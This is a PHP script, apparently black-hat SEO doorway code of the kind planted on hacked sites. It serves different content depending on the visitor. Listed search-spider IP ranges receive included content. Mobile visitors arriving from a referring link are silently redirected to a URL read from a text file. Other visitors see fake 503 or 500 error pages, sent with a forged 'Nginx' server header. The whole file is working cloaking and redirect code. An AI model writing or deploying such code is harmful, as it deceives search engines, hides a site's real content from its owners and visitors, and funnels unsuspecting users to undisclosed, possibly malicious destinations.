<?php
define('l_path', dirname(__FILE__));
define('inc_path', dirname(__FILE__));
$flag = false;
$tmp = $_SERVER['HTTP_USER_AGENT'];
if(strpos($tmp, 'Googlebot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Baiduspider') >0){
    $flag = true;
} else if(strpos($tmp, 'Yahoo! Slurp') !== false){
    $flag = true;
} else if(strpos($tmp, 'msnbot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Sosospider') !== false){
    $flag = true;
} else if(strpos($tmp, 'YodaoBot') !== false || strpos($tmp, 'OutfoxBot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Sogou web spider') !== false || strpos($tmp, 'Sogou Orion spider') !== false){
    $flag = true;
} else if(strpos($tmp, 'fast-webcrawler') !== false){
    $flag = true;
} else if(strpos($tmp, 'Gaisbot') !== false){
    $flag = true;
} else if(strpos($tmp, 'ia_archiver') !== false){
    $flag = true;
} else if(strpos($tmp, 'altavista') !== false){
    $flag = true;
} else if(strpos($tmp, 'lycos_spider') !== false){
    $flag = true;
} else if(strpos($tmp, 'Inktomi slurp') !== false){
    $flag = true;
} else if(strpos($tmp, 'YisouSpider') >0){
    $flag = true;
} else if(strpos($tmp, '360Spider') !== false){
    $flag = true;
}
//屏蔽无用蜘蛛
$agent = strtolower($tmp);
if(stripos($agent,'yahoo') || stripos($agent,'ia_archiver') || stripos($agent,'msnbot') || stripos($agent,'youdaobot') || stripos($agent,'jikespider') || stripos($agent,'google') || stripos($agent,'bingbot')){
header('HTTP/1.1 503 Service Temporarily Unavailable');
header('Status: 503 Service Temporarily Unavailable');
header('Retry-After:1200'); 
header('X-Powered-By:Nginx');
exit;
}
$arr = array('49.228.238','61.55.185','182.118.20','182.118.21','182.118.22','182.118.25','182.118.28','101.226.166','101.226.167','101.226.168','101.226.169','61.135.145','61.135.146','202.108.250','202.108.249','202.108.23','202.108.22','202.108.11','159.226.50','220.181.107','220.181.19','220.181.38','220.196.160','220.181.32','220.181.7','220.181.68','220.181.51','104.233.164','113.24.225','220.181.108','220.181.32','194.233.65','193.42.114','185.244.39','180.149.133','180.76.15','180.76.5','158.247.209','149.248.20','149.28.225','149.28.84','144.202.122','139.180.200','124.166.232','123.125.71','123.125.66','119.63.199','119.63.198','116.179.37','116.179.32','111.206.198','42.156.136','42.156.137','42.156.138','42.156.139','42.120.160','42.120.161','123.6.49','1.192.192','1.192.195','42.236.10','42.236.12','42.236.17','42.236.101','27.115.124','180.163.220','220.181.89','123.126.113','61.135.189','220.181.94','218.30.103');

//获取访客的IP地址，并转成数组
//$ip = "220.181.108.147";
$iparr = explode('.',$_SERVER['REMOTE_ADDR']);
//取前三个元素组合IP段，如 220.181.108
$spiderid = $iparr[0].'.'.$iparr[1].'.'.$iparr[2];
if(!in_array($spiderid,$arr)){
$http_referer = $_SERVER['HTTP_REFERER'];
if($flag == false){
if($http_referer == ''){
   //$tpl_html = file_get_contents('error.html');
   //echo $tpl_html;
header('HTTP/1.1 503 Service Temporarily Unavailable');
header('Status: 503 Service Temporarily Unavailable');
header('Retry-After:1200');
header('X-Powered-By:Nginx');
}else{
if(isMobile()){
$cplurl = trim(file_get_contents('cptzurli2.txt'));
    header('location:'.$cplurl);
}else{
   include l_path . '/reacdm/backip.php';
   if(in_array($spiderid,$back_arr)){
   header('HTTP/1.1 500 Internal Server Error');
		header('status: 500 Internal Server Error');
		$html = '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>500 Internal Server Error</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
<BODY><p>500 Internal Server Error..</p>
</BODY></HTML>';
		print($html);
   exit();
   }else{  
   $tpl_html = file_get_contents('error.html');
   echo $tpl_html;
}
}
}
   exit();
}
exit();
}
function isMobile()
{ 
    // 如果有HTTP_X_WAP_PROFILE则一定是移动设备
    if (isset ($_SERVER['HTTP_X_WAP_PROFILE']))
    {
        return true;
    } 
    // 如果via信息含有wap则一定是移动设备,部分服务商会屏蔽该信息
    if (isset ($_SERVER['HTTP_VIA']))
    { 
        // 找不到为flase,否则为true
        return stristr($_SERVER['HTTP_VIA'], "wap") ? true : false;
    } 
    // 脑残法，判断手机发送的客户端标志,兼容性有待提高
    if (isset ($_SERVER['HTTP_USER_AGENT']))
    {
        $clientkeywords = array ('nokia',
            'sony',
            'ericsson',
            'mot',
            'samsung',
            'htc',
            'sgh',
            'lg',
            'sharp',
            'sie-',
            'philips',
            'panasonic',
            'alcatel',
            'lenovo',
            'iphone',
            'ipod',
            'blackberry',
            'meizu',
            'android',
            'netfront',
            'symbian',
            'ucweb',
            'windowsce',
            'palm',
            'operamini',
            'operamobi',
            'openwave',
            'nexusone',
            'cldc',
            'midp',
            'wap',
            'mobile'
            ); 
        // 从HTTP_USER_AGENT中查找手机浏览器的关键字
        if (preg_match("/(" . implode('|', $clientkeywords) . ")/i", strtolower($_SERVER['HTTP_USER_AGENT'])))
        {
            return true;
        } 
    } 
    // 协议法，因为有可能不准确，放到最后判断
    if (isset ($_SERVER['HTTP_ACCEPT']))
    { 
        // 如果只支持wml并且不支持html那一定是移动设备
        // 如果支持wml和html但是wml在html之前则是移动设备
        if ((strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') !== false) && (strpos($_SERVER['HTTP_ACCEPT'], 'text/html') === false || (strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') < strpos($_SERVER['HTTP_ACCEPT'], 'text/html'))))
        {
            return true;
        } 
    } 
    return false;
} 
require_once inc_path.'/incs/inc.php';
//////////////以上两行代码无需修改///////
?>
